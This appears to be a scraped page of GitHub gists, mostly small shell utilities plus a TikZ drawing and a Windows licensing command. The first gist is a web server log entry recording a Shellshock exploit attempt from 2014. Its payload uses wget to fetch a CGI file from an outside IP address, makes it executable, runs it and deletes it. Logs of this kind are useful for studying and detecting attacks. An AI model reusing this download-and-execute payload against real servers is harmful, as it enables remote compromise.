This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
176.67.167.180 - - [05/Oct/2014:11:14:20 -0500] "GET /?x=() { :; }; echo Content-type:text/plain;echo;ech | |
o;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp | |
/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0" 200 1959 "() { :; }; echo Content-type:text/plain;echo;echo;echo | |
M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cg | |
i;rm -rf /tmp/404.cgi*" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget - | |
O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ $UID -gt 0 ]; then | |
echo "You're an idiot." | |
else | |
echo "You're a fucking idiot." | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\documentclass{standalone} | |
\usepackage{tikz} | |
\begin{document} | |
\begin{tikzpicture} | |
% outside border | |
\draw[step=1cm,gray,very thin] (-1.9,-1.9) rectangle (31.9,6.9); | |
% back panel frame | |
\draw (0,0) rectangle(30,5); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
if [ `id -u` != "0" ]; then | |
echo "This should be run as root." | |
exit | |
fi | |
missing=0 | |
for dep in rsync curl; do | |
if [ ! -x "$(which $dep 2>/dev/null)" ]; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
slmgr.vbs /fta (Get-ChildItem -Path Cert:\CurrentUser\My | select-object -first 1 -expandproperty thumbprint) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
case "$1" in | |
"up" ) | |
pactl set-sink-mute @DEFAULT_SINK@ false | |
pactl set-sink-volume @DEFAULT_SINK@ +5% | |
;; | |
"down" ) | |
pactl set-sink-mute @DEFAULT_SINK@ false | |
pactl set-sink-volume @DEFAULT_SINK@ -5% |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
fname=$(zenity --file-selection 2>/dev/null) | |
if [ -r "$fname" ]; then | |
mpv "$fname" | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# xupavail - counts the number of packages available for update | |
SUDO= | |
if command -v sudo >/dev/null && | |
sudo -l | grep -q -e ' ALL$' -e xbps-install; then | |
SUDO=sudo | |
elif [ "$(whoami)" != root ]; then | |
SUDO='su root -c '\''"$@"'\'' -- -' | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
pkg="$1" | |
shift | |
if [ -z $pkg ]; then | |
echo "usage: $0 <pkg>" | |
exit | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# xupavail - see how many packages are available for upgrade | |
SUDO= | |
if command -v sudo >/dev/null && | |
sudo -l | grep -q -e ' ALL$' -e xbps-install; then | |
SUDO=sudo | |
elif [ "$(whoami)" != root ]; then | |
SUDO='su root -c '\''"$@"'\'' -- -' | |
fi |
OlderNewer